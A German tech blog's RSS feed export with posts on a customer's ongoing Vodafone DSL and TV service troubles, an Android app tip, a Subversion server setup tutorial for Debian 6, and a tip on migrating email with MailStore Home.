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	<description>Technik, Design, Hosting, Hardware, Software</description>
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		<title>[UPDATE] Vodafone reloaded – die Geschichte von und ohne Internet</title>
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		<pubDate>Sun, 13 Nov 2011 08:30:21 +0000</pubDate>
		<dc:creator>Fabian Benik</dc:creator>
				<category><![CDATA[Allgemein]]></category>
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		<description><![CDATA[Mal gut, dass ich nicht zu voreilig ein Update für das Thema geschrieben habe, zudem ist das auch ohne Internet schwierig. Wieder ist etwas Zeit ins Land gegangen und eigentlich, muss ich zugeben, hat mich Vodafone seit meinem letzten Post dazu erst mal überrascht. Warum? Fangen wir mal direkt nach meinem letzten Vodafone Post an: [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div class="tweetmeme_button" style="float: right; margin-left: 10px;">
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			</a>
		</div>
<p>Mal gut, dass ich nicht zu voreilig ein Update für das Thema geschrieben habe, zudem ist das auch ohne Internet schwierig. Wieder ist etwas Zeit ins Land gegangen und eigentlich, muss ich zugeben, hat mich Vodafone seit meinem letzten Post dazu erst mal überrascht. Warum? Fangen wir mal direkt nach meinem letzten Vodafone Post an:</p>
<p>Der letzte Stand waren <strong>halbstündliche Reconnects</strong>. Zwei Tage später hatte sich das Problem tatsächlich mal gelöst. 16000er DSL einwandfrei. Ich konnte es eigentlich kaum glauben. Aber da war noch was: <strong>Vodafone TV</strong>. Trotz dass ich eigentlich laut Call-Center Mitarbeiter keine neue Easy Box brauchte, ich hatte die 802, bekam ich die 803. Gut, ab und zu eine kleine &#8220;Modernisierung&#8221; ist ja auch nicht schlecht. Nach über einer Woche kam dann endlich auch die restliche Hardware: der <strong>Vodafone TV Reciever</strong>. Da das gute Stück von UPS geliefert wurde und dieser Lieferdienst nur unter der Woche zwischen 8 und 18 Uhr liefert durfte ich das Paket irgendwann selbst abholen, aber das ist eine andere Geschichte.<span id="more-225"></span>Sofort als ich das Paket öffnete kam mir ein großer, oranger Zettel entgegen, der mir eindringlich erklärte, dass ich für die <strong>TV Box</strong> noch einen sogenannten <strong>TIC (TV-Installations-Code)</strong> brauche. Kurz nachgeschaut, wer hätte das gedacht, ich habe kein TIC. Also weil es so schön war ab in die Hotline. Wer sich erinnern: &#8220;Walkin on a dream&#8221;. So kann man Songtexte auch auswendig lernen (Marktlücke). Nachdem ich endlich bei einem Mitarbeiter gelandet war und mein Problem schilderte hieß es: &#8220;Das ist äußerst seltsam, dass Sie keine TIC haben. Da muss dann etwas schief gelaufen sein.&#8221; Ja, so sehe ich das auch. Mir wurde angeboten den TIC innerhalb der nächsten 2 Stunden via SMS zu zu schicken. Ich war das erste mal ehrlich überrascht. Vodafone und ein Service-Gedanke?! Wow! Gut, dachte ich, dann baue ich halt die ganze Hardware in den 2 Stunden auf. Das war auch innerhalb einer Stunde getan und lief gewohnt einfach. Nach weiteren 3 Stunden war immer noch keine SMS da. Wer hätte das gedacht.</p>
<p>Am anderen Morgen um 8 Uhr kam dann <strong>die versprochene SMS mit TIC</strong>. Kurz noch eingegeben und Zack! Alle Sender, die via <strong>IPTV</strong> kommen sollten, schwarz. &#8220;Es ist ein Fehler aufgetreten. Bitte setzen Sie sich mit der Vodafone Kundenbetreuung in Verbindung.&#8221; Es hätte ja auch mal alles ohne Probleme laufen können oder muss man das zusätzlich bezahlen? Abends habe ich mich dann nach meiner Arbeit wieder der Hotline gewidmet. Ja, ja, walkin on a dream&#8230; STFU! &#8220;Willkommen bei Ihrer Vodafone Kundenbetreuung, mein Name ist XYZ, ich hoffe Sie mussten nicht zu lange warten, was kann ich für Sie tun?&#8221; Also wieder mein Problem geschildert. Es läge an einer<strong> fehlenden Freischaltung</strong> <strong>in dem Buchhaltungssystem</strong>. Komisch, diese Aussage hatte ich schon in diversen Foren gelesen. Ich fragte wie lange denn die Freischaltung dauern würde und bekam <strong>24 &#8211; 48 Stunden</strong> als Antwort. Was daran wohl solange dauern mag?! Ich hatte mich schon damit abgefunden da kam die <del>gute</del> Mitarbeiterin am anderen Ende der Telefonleitung noch mit einem weiteren Problem um die Ecke: Angeblich müssten noch &#8220;Stifte&#8221; im Verteiler &#8220;durch die Telekom&#8221; freigeschaltet werden, die angeblich dafür sorgen, dass ich Vodafone TV empfangen kann. Der aufmerksame Leser wird sich erinnern, dass ich bereits schrieb, dass Vodafone TV auch unter IPTV fällt. Hier mal kurz die Erklärung von Wikipedia:</p>
<blockquote><p>Mit Internet Protocol Television (IPTV) wird allgemein der <strong>Übertragungsweg Internet</strong> für Fernsehprogramme und Filme bezeichnet im Gegensatz zu klassischem Rundfunk, Kabel oder Satellit. IPTV ist weder ein Standard noch ein Konzept und damit nur ein Gattungsbegriff, der in sehr vielen unterschiedlichen Ausprägungen anzutreffen ist. Die unterschiedlichen Ausprägungen reichen vom einfachen IPTV über Computer oder Handy bis hin zu speziellen Endgeräten, bei denen der Benutzer gar nicht bemerkt, dass er das <strong>Internet dazu nutzt</strong>, weil er über den Fernseher eine Set-Top-Box bedient wie etwa bei Apple TV oder T-Home Media Receiver 300.</p></blockquote>
<p>Ich sagte der netten Call-Center Mitarbeiterin, dass ich doch bereits Internet und Telefon hätte und Vodafone TV doch auch über das Internet läuft. Nein, das sei etwas anderes und für Vodafone TV müssten die besagten Stifte von der Telekom freigeschaltet werden. Ich beugte mich dem all umfassenden Wissen der Call-Center Mitarbeiterin und fragte wie lange diese Freischaltung denn dauern würde. &#8220;Das kann ich Ihnen leider nicht beantworten. Wir geben den Auftrag an die Telekom und sobald diese einen freien Technikerplatz hat werden die Stifte freigeschaltet. <strong>Das kann zwischen einer und vier Wochen dauern.</strong>&#8221; Woah, wahnsinn. Das muss ja was aufwändiges sein. Eigentlich müsste ich die Telefongespräche aufnehmen und als Podcast bereit stellen, das glaubt mir doch sonst kein Mensch! Ich werde das mal technisch und rechtlich überprüfen und ggf. bald auch Podcasts veröffentlichen <img src='http://blog.web-elements.de/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> .</p>
<p>Jetzt kommt noch das Knaller! Achtung, aufgepasst und festgehalten! In meinem letzten Post schrieb ich bereits, dass ich <strong>Vodafone TV</strong> nur unter der Premisse der <strong>2 Monate Testphase</strong> genommen hatte. Wer Vodafone kennt ahnt schlimmes. Ich fragte die Call-Center Mitarbeiterin wie ich denn Vodafone TV in meiner 2 monatigen Testphase ausprobieren soll wenn das alles nicht funktioniert.</p>
<ul>
<li>Vom anderen Ende der Leitung kam: &#8220;Testphase?!&#8221;</li>
<li>Ich: &#8220;Ja, ein Kollege von Ihnen hat mir Vodafone TV für 2 Monate kostenlos zum Testen angeboten.&#8221;</li>
<li>Call-Center Mitarbeiterin: &#8220;Eine Möglichkeit der Testphase gibt es nicht Herr Benik. Sie haben Vodafone TV bestellt, müssen die Leistungen von Anfang an bezahlen und sind 24 Monate vertraglich gebunden.&#8221;</li>
<li>Ich: &#8220;Mir wurde doch aber eine Testphase von Ihrem Kollegen zugesichert.&#8221;</li>
<li>Call-Center Mitarbeiterin: &#8220;Das tut mir leid, dass das so gelaufen ist. Da hat man Ihnen leider nicht die Wahrheit gesagt. Ein derartiges Angebot ist mir nicht bekannt und gab es bisher auch nicht bei Vodafone. Ich kann Ihnen höchstens für die Zeit, die Sie Vodafone TV nicht nutzen können, eine Rückerstattung der Kosten anbieten.&#8221;</li>
</ul>
<p>Das schlägt doch dem Fass den Boden aus. <strong>Beschissen und über den Tisch gezogen von einem Call-Center Mitarbeiter</strong>. Wenn die Tatsache stimmt, dass Gespräche bei Vodafone aufgezeichnet werden hat das noch ein Nachspiel. <strong>Hier schonmal der Aufruf, da es eine komplette Masche zu sein scheint: Wem das Gleiche passiert ist bzw. versprochen wurde bitte gerne in den Kommentaren melden oder via E-Mail an info@web-elements.de.</strong></p>
<p>Dennoch geht die Geschichte noch weiter. Am anderen Tag funktionierte urplötzlich Internet, Telefon &amp; Vodafone TV einwandfrei. Ich war erstaunt. Ich konnte Vodafone TV testen und <strong>knappe 2 Wochen ausprobieren</strong>. Jetzt sind wir in der Gegenwart. Vor 3 Tagen gingen die Probleme wieder los, quasie über Nacht. <strong>Alle TV Sender inklusive Aufnahmen</strong> fingen an alle <strong>30 Sekunden</strong> kontinuierlich an zu <strong>stückeln</strong>. Auch das Festnetz hat die gleichen Probleme. Sehr angenehm wenn man von einem Satz nur die Hälfte der Wörter mitbekommt, genauso wie mein Gesprächspartner nur die Hälfte meiner Sätze mitbekommt. Mittlerweile darf ich die Vodafone Hotline zu meinem Hobbies zählen. Nach einem Tag <del>der Hoffnung</del>, dass sich das Problem von selbst löst ging es für mich wieder in die Warteschleife.</p>
<p>Ich schilderte dem Mitarbeiter mein Problem und dieser erkannte <del>sofort</del>, dass es wohl an einer Überlastung der Leitung liegt. So schlau war ich auch. Er sagte, dass Bauarbeiten in Nürnberg stattfinden und ich höchstwahrscheinlich aufgrund dieser Arbeiten auf eine bereits stark belastete Leitung gelegt wurde. Der Mitarbeiter erstellte ein <strong>Störungsticket</strong> und ich würde bei Rückfragen kontaktiert und über den aktuellen Status der Störung via SMS informiert. Gestern (Samstag) kam eine SMS: &#8220;Guten Tag! Die Ursache der Störung Ihres Anschlusses ist uns nun bekannt. Die notwendigen Schritte zur Entstörung sind eingeleitet.&#8221; Bisher habe ich keine Änderungen bemerkt und warte nun mal auf Montag. Vielleicht tut sich ja wirklich was. Ich werde auf jeden Fall wieder ein Update posten. In diesem Sinne: ein schönes Restwochenende.</p>
<div class="shr-publisher-225"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:right;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fblog.web-elements.de%2Fallgemein%2Fupdate-vodafone-reloaded-%25e2%2580%2593-die-geschichte-von-und-ohne-internet%2F' data-shr_title='%5BUPDATE%5D+Vodafone+reloaded+%E2%80%93+die+Geschichte+von+und+ohne+Internet'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fblog.web-elements.de%2Fallgemein%2Fupdate-vodafone-reloaded-%25e2%2580%2593-die-geschichte-von-und-ohne-internet%2F' data-shr_title='%5BUPDATE%5D+Vodafone+reloaded+%E2%80%93+die+Geschichte+von+und+ohne+Internet'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
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		<title>Vodafone reloaded &#8211; die Geschichte von und ohne Internet</title>
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		<pubDate>Sun, 16 Oct 2011 21:09:48 +0000</pubDate>
		<dc:creator>Fabian Benik</dc:creator>
				<category><![CDATA[Allgemein]]></category>
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		<description><![CDATA[Mehr als ein Jahr ist es her als ich den ersten Artikel über mein Leiden mit Vodafone schrieb. Nachdem ich meine Bandbreite freiwillig auf 6000 drosseln ließ und neue Router-Hardware bekommen hatte war bis zum 13.10. Ruhe und alles war in Ordnung. Sicherlich hat es der Ein oder Andere auch mitbekommen: Vodafone vertreibt via penetranten [...]]]></description>
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			</a>
		</div>
<p>Mehr als ein Jahr ist es her als ich den <a href="http://blog.web-elements.de/allgemein/vodafone-die-endlose-geschichte-ohne-internet/">ersten Artikel</a> über mein Leiden mit Vodafone schrieb. Nachdem ich meine Bandbreite freiwillig auf 6000 drosseln ließ und neue Router-Hardware bekommen hatte war bis zum <strong>13.10.</strong> Ruhe und alles war in Ordnung. Sicherlich hat es der Ein oder Andere auch mitbekommen: Vodafone vertreibt via <del>penetranten</del> Telefonanrufen ihr neues Produkt <strong>Vodafone TV</strong>. Auch ich blieb davon nicht verschont.</p>
<p>Der nette, sächselnde Mitarbeiter, der mir während des Telefonats seine halbe Lebensgeschichte erzählte, wollte mir Vodafone TV für 2 Monate kostenlos zum Test anbieten. Dazu kam noch das kostenlose Endgerät. Da ich gerne neue Dinge ausprobiere und mich gerne mit solchen Sachen beschäftige habe ich zugesagt. Aber warum erzähle ich das wenn es doch um ständig fehlendes Internet und Telefon geht? Hier schonmal ein Wink mit dem Zaunpfahl: <strong>Der Auftrag für Vodafone TV wurde am 13.10. bearbeitet!</strong></p>
<p><strong>Was ist nun passiert?</strong><span id="more-216"></span>Am 13.10. wurde meine freiwillige Drosselung &#8211; ihr erinnert euch, auf 6000der DSL &#8211; anscheinend aufgehoben. Mittlerweile kommen wieder über 16000 bei mir an. Nach Rücksprache mit, wer hätte es gedacht, der Störungshotline habe ich kaufmännisch aber weiterhin 6000der DSL. Aber zu der Störunghotline komme ich noch. Bisher habe ich keinerlei Zugangsdaten für Vodafone TV erhalten, auch meine versprochenen Endgeräte sind noch nicht eingetroffen. Klar, wenn der Auftrag erst am 13. bearbeitet wurde. Die Anschaltung von Vodafone TV soll aber schon am 18.10 erfolgen.</p>
<p>Nachdem ich mein komplettes Setup auf Änderungen überprüft hatte und die einzige Änderung die Verbindungsgeschwindigkeit, die nicht von mir veranlasst wurde, war kam mir schnell der Gedanke, dass es natürlich nur daran liegen kann. Das hatte der letzte Techniker ja auch vermutet. Die Abschirmung der Leitung schien schon damals zu gering für 16000der DSL. Eigentlich schade aber ich hatte mich ja bereits damit abgefunden. Also was bleibt mir anderes übrig als wieder in die Störungshotline zu gehen.</p>
<p>Die Nummer hätte ich natürlich ohne Internet nicht finden können aber seit dem letzten Vorfall hängt sie bei mir auf einem roten Postit an der Pinnwand (könnten Zettel blinken, hätte ich einen warnenden, blinkenden Postit genommen) . Da ich auch kein Festnetz hatte, da natürlich meine Anschlüsse VoIP-Anschlüsse sind musste mein Handy herhalten. 0800 172 1212 gewählt und nachdem die <del>nette</del> Frauenstimme mich durch das erste Auswahlmenü geführt hatte ging es los: &#8220;Walking on a Dream&#8221;. Eigentlich ein netter Song aber knappe 1,5 Stunden in der Dauerschleife doch sehr nervtötend. Ich stellte fest: auch nach mehr als einem Jahr hat sich der Vodafone-Standard-Fragenkatalog nicht geändert.</p>
<p>&#8220;Welches Endgerät haben Sie?&#8221; &#8211; &#8220;EasyBox 802&#8243;<br />
&#8220;Welche Telefone haben Sie?&#8221; &#8211; &#8220;Irgendeins von Philips und ja, es steht weit genug weg von der EasyBox&#8221;<br />
&#8220;Ah, ok, das wäre meine nächste Frage gewesen, ich sehe Sie kennen sich bei uns aus&#8221;</p>
<p>Fazit des Telefonats war nur eine Störungsmeldung. Angeblich würden die Techniker sich das Ganze angucken. Auch heute noch habe ich meine halbstündigen Reconnects &#8211; vielleicht ist der Post deswegen auch so abgehackt. Nebenbei bemerkt hat der Mitarbeiter mit noch verraten, dass Vodafone dieses Wochenende Ausfälle bei ihren DNS-Servern hatte.</p>
<p><strong>Wie gehts weiter? Was werde ich tun?</strong><br />
Mein Ziel ist es eigentlich die 16000 wieder drosseln zu lassen? Aber bisher darf ich das anscheinend noch nicht, da bestimmt noch zu wenig Störungsmeldungen vorliegen. Zudem könnte Vodafone TV ja auch 16000der DSL brauche, wovon mir natürlich bisher keine was gesagt hat bzw. etwas dazu sagen konnte. Wie es weiter geht werde ich natürlich hier im Blog teilen und diesen Post regelmäßig updaten. Sofern es mir möglich ist Vodafone TV zu testen werde ich auch dazu noch einen extra Post veröffentlichen.</p>
<div class="shr-publisher-216"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:right;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fblog.web-elements.de%2Fallgemein%2Fvodafone-reloaded-die-geschichte-von-und-ohne-internet%2F' data-shr_title='Vodafone+reloaded+-+die+Geschichte+von+und+ohne+Internet+'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fblog.web-elements.de%2Fallgemein%2Fvodafone-reloaded-die-geschichte-von-und-ohne-internet%2F' data-shr_title='Vodafone+reloaded+-+die+Geschichte+von+und+ohne+Internet+'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
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		<title>Android App Tipp: AutoCalm</title>
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		<pubDate>Sat, 08 Oct 2011 03:27:28 +0000</pubDate>
		<dc:creator>Fabian Benik</dc:creator>
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		<description><![CDATA[Es ist früh am Morgen und ich wurde &#8211; mal wieder &#8211; von SMS und E-Mails auf meinem Android Smartphone (HTC Desire HD) geweckt. Finde ich total nervig aber es gibt ja Abhilfe! Diverse Android Apps wie zum Beispiel &#8220;Locale&#8221; widmen sich der automatischen Einstellung eurer Lautstärkenprofile bzw. denen eurer Smartphones. Locale bezieht sich dabei [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div class="tweetmeme_button" style="float: right; margin-left: 10px;">
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			</a>
		</div>
<p>Es ist früh am Morgen und ich wurde &#8211; mal wieder &#8211; von SMS und E-Mails auf meinem Android Smartphone (HTC Desire HD) geweckt. Finde ich total nervig aber es gibt ja Abhilfe! Diverse Android Apps wie zum Beispiel &#8220;Locale&#8221; widmen sich der automatischen Einstellung eurer Lautstärkenprofile bzw. denen eurer Smartphones.</p>
<p>Locale bezieht sich dabei auf gespeicherte GPS Positionen und je nach Ort schaltet sich Android lautlos, laut, etc pp &#8211; so wie man es will. Leider ist diese App nicht kostenlos.</p>
<p>Ich suchte aber eine App, die mir die Lautstärkenprofile nicht anhand einer GPS Position umstellt, da ich tagsüber auch zu Hause mein Handy gerne laut hätte, sondern eine App, die es anhand von Zeitspannen oder Terminen im Kalender regelt. Ich bin fündig geworden: AutoCalm</p>
<p><span id="more-211"></span><a href="http://autocalm.de/" target="_blank">AutoCalm</a> ist eine kostenlose App von <a href="http://www.elepferd.de/" target="_blank">Daniel Bräutigam</a> und tut genau das was ich mir gewünscht habe. Folgende Features sind in der neuen Version enthalten:</p>
<ul>
<li>Tonprofile anhand von Kalendereinträgen</li>
<li>Tonprofile anhand von wiederholenden Ereignissen einstellen (ohne Kalendereinträge möglich)</li>
<li>Tonprofile für den ganzen Kalender erstellen</li>
</ul>
<p>Ich habe die App erst kurz im Einsatz aber bin total begeistert. Zwei Wehrmutstropfen habe ich jedoch bei der Nutzung entdeckt: Zum Einen wird meine Exchange-Kalender-Synchronisation nicht erkannt, bisher konnte ich nur auf Kalendereinträge von meinen Google-Kalendern zugreifen und zum Anderen ist es etwas hinderlich, dass neu Angelegte Ereignisse in der Zukunft liegen müssen um diese zu aktivieren.</p>
<p>Ein Beispiel: Man möchte ein Profil für seine Arbeit anlegen. Man arbeitet beispielsweise von Montag bis Freitag, 8 &#8211; 18 Uhr. Es ist gerade als man das Profil erstellen möchte 9:15. Somit muss man das Ereignis erst um 9:16 beginnen lassen, damit man es anlegen/speichern kann. Somit wird das Ereignis &#8220;Arbeit&#8221; von Montag bis Freitag erst immer um 9:16 gestartet und nicht wie gewünscht um 8 Uhr.</p>
<p>Aber gut, ich bin sicher Daniel Bräutigam wird auch dafür noch eine gute Lösung finden. In jedem Fall ein Ausprobieren wert.</p>
<div class="shr-publisher-211"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:right;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fblog.web-elements.de%2Fallgemein%2Fandroid-app-tipp-autocalm%2F' data-shr_title='Android+App+Tipp%3A+AutoCalm+'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fblog.web-elements.de%2Fallgemein%2Fandroid-app-tipp-autocalm%2F' data-shr_title='Android+App+Tipp%3A+AutoCalm+'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
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		<item>
		<title>Subversion (SVN) Server Installation mit multiple Repositories auf Debian 6</title>
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		<pubDate>Thu, 06 Oct 2011 13:58:40 +0000</pubDate>
		<dc:creator>Fabian Benik</dc:creator>
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		<category><![CDATA[SVN]]></category>

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		<description><![CDATA[Warum und wieso ich mich für einen Subversion Server entschieden habe, habe ich ja bereits in meinem letzten Blogpost näher erleutert. Jetzt widmen wir uns der Installation. Wie bei jedem Produkt gibt es auch hier kleinere Stolpersteine, die man jedem gerne ersparen möchte. Als erstes sollte man sich die Frage stellen: Brauche ich ein Repository [...]]]></description>
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			</a>
		</div>
<p>Warum und wieso ich mich für einen Subversion Server entschieden habe, habe ich ja bereits in meinem letzten Blogpost näher erleutert. Jetzt widmen wir uns der Installation. Wie bei jedem Produkt gibt es auch hier kleinere Stolpersteine, die man jedem gerne ersparen möchte.</p>
<p>Als erstes sollte man sich die Frage stellen: Brauche ich ein Repository oder mehrere? Diese Frage habe ich mir zu spät gestellt und hatte bereits Subversion mit nur einem Repository installiert. Natürlich kann man das auch im Nachhinein noch ändern aber vorher entscheiden spart hier Zeit und Nerven.</p>
<p>Fangen wir also an, mit folgender Ausgangssituation:</p>
<ul>
<li>Laufendes Debian 6 System (egal ob V-Server, Rootserver oder lokale Testumbegung)</li>
<li>SSH Konsole offen und eingeloggt als root</li>
</ul>
<p><span id="more-172"></span>Installation von SVN und erstellen der Ordnerstruktur:</p>
<pre class="brush: bash; title: ; notranslate">
aptitude install libapache2-svn subversion-tools subversion
mkdir /var/svn/repos
</pre>
<p>Nun ist das System bereit um verschiedene Repositories anzulegen. Sofern man initial nur ein oder zwei Projekte hat ist das auch kein Problem. Im Nachhinein kann man jederzeit weitere Repositories hinzufügen. Ein Repository fügt man mit folgendem Befehl hinzu:</p>
<pre class="brush: bash; title: ; notranslate">
svnadmin create /var/svn/repos/repo1
</pre>
<p>&#8220;repo1&#8243; ist in dem Befehl der aktuelle Repository-Name, unter dem es später auch zu erreichen sein wird. Wichtig ist, dass man keinerlei Leerzeichen oder Sonderzeichen bei der Benamung verwendet. Um weitere Repositories anzulegen nutzt man hier einfach den gleichen Befehl.</p>
<p>Nachdem alle Repositories angelegt wurden müssen die entsprechenden Rechte gesetzt werden. Der Apache-User und die Apache-Gruppe, meistens www-data, brauchen hier die richtige Berechtigung:</p>
<pre class="brush: bash; title: ; notranslate">
chown www-data:www-data -R /var/svn/repos
</pre>
<p>Zum guten Schluss fehlt nun noch die Benutzer-Berechtigung. Nicht jeder soll auf unser Repository zugreifen und &#8220;comitten&#8221; können. Der Einfachheit halber lösen wir diese Berechtigungen via htpasswd-Files:</p>
<pre class="brush: bash; title: ; notranslate">
htpasswd –cs /var/svn/repos/dav_svn.passwd erster_benutzer
htpasswd –s /var/svn/repos/dav_svn.passwd zweiter_benutzer
</pre>
<p>Hierbei ist zu beachten, dass nur beim erstmaligen Anlegen der htpasswd-Datei die Parameter &#8220;-cs&#8221; mitgegeben werden. Für jeden weiteren Benutzer nutzt man nur noch den Parameter &#8220;-s&#8221;. Hiermit haben wir nun die Konfiguration und Installation unseres Subversions abgeschlossen.</p>
<p>Als nächstes folgt die Konfiguration des Apache 2 VirtualHosts. Hier musste ich feststellen, dass es Probleme mit nur einer Location in diversen Eclipse-Plugins gibt. Aus diesem Grund definieren wir am besten für jedes Repository eine eigene Location. Wir öffnen bzw. erstellen die jeweilige VirtualHost-Konfigurations-Datei für die Subdomain oder Domain unter der unser SVN erreichbar sein soll. Folgende Locations fügen wir hinzu:</p>
<pre class="brush: bash; title: ; notranslate">
&lt;Location /repo1&gt;
DAV svn
SVNPath /var/svn/repos/repo1
SVNAutoversioning on

AuthType Basic
AuthName &quot;Subversion Repository&quot;
AuthUserFile /var/svn/repos/dav_svn.passwd
Require valid-user
&lt;/Location&gt;

&lt;Location /repo2&gt;
...
&lt;/Location&gt;
</pre>
<p>Damit haben wir es fast geschafft. Zum Abschluss noch ein &#8220;/etc/init.d/apache2 restart&#8221; und unser Subversion sollte unter der gewünschten Domain oder Subdomain mit unseren Zugangsdaten, die wir in die htpasswd-Datei eingetragen haben, erreichbar sein.</p>
<p>http://sub.domain.de/repo1</p>
<p>Plesk Anmerkung: Sofern man auf dem System Plesk nutzt muss nicht nur der Apache2 neugestartet werden sondern auch die Plesk-Konfiguration mit dem Befehl: &#8220;/usr/local/psa/admin/sbin/websrvmng&#8221; neu eingelesen werden.</p>
<div class="shr-publisher-172"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:right;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fblog.web-elements.de%2Fallgemein%2Fsubversion-svn-server-installation-mit-multiple-repositories-auf-debian-6%2F' data-shr_title='Subversion+%28SVN%29+Server+Installation+mit+multiple+Repositories+auf+Debian+6+'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fblog.web-elements.de%2Fallgemein%2Fsubversion-svn-server-installation-mit-multiple-repositories-auf-debian-6%2F' data-shr_title='Subversion+%28SVN%29+Server+Installation+mit+multiple+Repositories+auf+Debian+6+'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
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		</item>
		<item>
		<title>Tooltipp: MailStore Home</title>
		<link>http://blog.web-elements.de/allgemein/tooltipp-mailstore-home/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=tooltipp-mailstore-home</link>
		<comments>http://blog.web-elements.de/allgemein/tooltipp-mailstore-home/#comments</comments>
		<pubDate>Tue, 04 Oct 2011 13:40:50 +0000</pubDate>
		<dc:creator>Fabian Benik</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[Archiv]]></category>
		<category><![CDATA[Backup]]></category>
		<category><![CDATA[E-Mails]]></category>
		<category><![CDATA[Export]]></category>
		<category><![CDATA[Import]]></category>
		<category><![CDATA[MailStore Home]]></category>
		<category><![CDATA[Outlook]]></category>
		<category><![CDATA[Portable]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[Thunderbird]]></category>
		<category><![CDATA[Tooltipp]]></category>
		<category><![CDATA[Umstieg]]></category>

		<guid isPermaLink="false">http://blog.web-elements.de/?p=175</guid>
		<description><![CDATA[Ein kurzer Tooltipp aus gegebenem Anlass. Ich habe vor wenigen Tagen die Entscheidung getroffen komplett auf Outlook als Mail-Client umzusteigen und stand vor dem Problem, dass ich doch liebend gerne alle meine E-Mails mitnehmen würde und vorallem auch wie eine normale Outlook-E-Mail behandeln möchte. Nach etwas längerer Suche stieß ich auf das Tool: &#8220;MailStore Home&#8221;. [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div class="tweetmeme_button" style="float: right; margin-left: 10px;">
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		</div>
<p>Ein kurzer Tooltipp aus gegebenem Anlass. Ich habe vor wenigen Tagen die Entscheidung getroffen komplett auf Outlook als Mail-Client umzusteigen und stand vor dem Problem, dass ich doch liebend gerne alle meine E-Mails mitnehmen würde und vorallem auch wie eine normale Outlook-E-Mail behandeln möchte.</p>
<p><center><img class="aligncenter size-medium wp-image-182" title="start" src="http://blog.web-elements.de/wp-content/uploads/start-300x194.jpg" alt="" width="300" height="194" /></center></p>
<p>Nach etwas längerer Suche stieß ich auf das Tool: &#8220;MailStore Home&#8221;. Es ist kostenlos nutzbar und erfüllt wirklich seinen Zweck.<span id="more-175"></span></p>
<blockquote><p>Oft verteilen sich E-Mails im Laufe der Jahre über unterschiedliche Computer, Programme, Postfächer und Webmail-Dienste. Mit MailStore Home können Sie dieses Chaos dauerhaft beenden und ein einziges zentrales Archiv für alle E-Mails anlegen.</p></blockquote>
<p>Eigentlich ist MailStore Home ein Tool um E-Mail-Archive anzulegen und das über diverse Rechner und Programme hinweg. Aber es bietet dem Benutzer auch genau das Feature, dass ich für eine Umstellung auf Outlook brauchte. E-Mails aus Mozilla Thunderbird exportieren und in Microsoft Outlook importieren. Alles in einem Schritt und mit wenigen Mausklicks zu bewerkstelligen.</p>
<p>Aus folgenden Quellen kann archiviert und damit auch importiert werden:</p>
<ul>
<li>Internet-Postfächer wie Google Mail oder Yahoo! Mail</li>
<li>Beliebige Postfächer über POP3 oder IMAP</li>
<li>Microsoft Outlook 2000, XP, 2003, 2007, 2010</li>
<li>Microsoft Outlook Express und Windows Mail</li>
<li>Microsoft Exchange Server 2003, 2007 und 2010 Postfächer</li>
<li>Microsoft Office 365 (Exchange Online)</li>
<li>Hosted Exchange Postfächer</li>
<li>Mozilla Thunderbird und SeaMonkey</li>
<li>.eml und andere E-Mail-Dateien</li>
</ul>
<p>Zusätzlich noch richtig nett: MailStore Home gibt es auch in einer portablen Version &#8220;für die Hosentasche&#8221;. MailStore Home Portable kann ohne vorherige Installation direkt vom USB-Speicher aus gestartet werden. Auf diese Weise kann das eigene E-Mail-Archiv innerhalb von Sekunden an jedem beliebigen Computer geöffnet und durchsucht werden.</p>
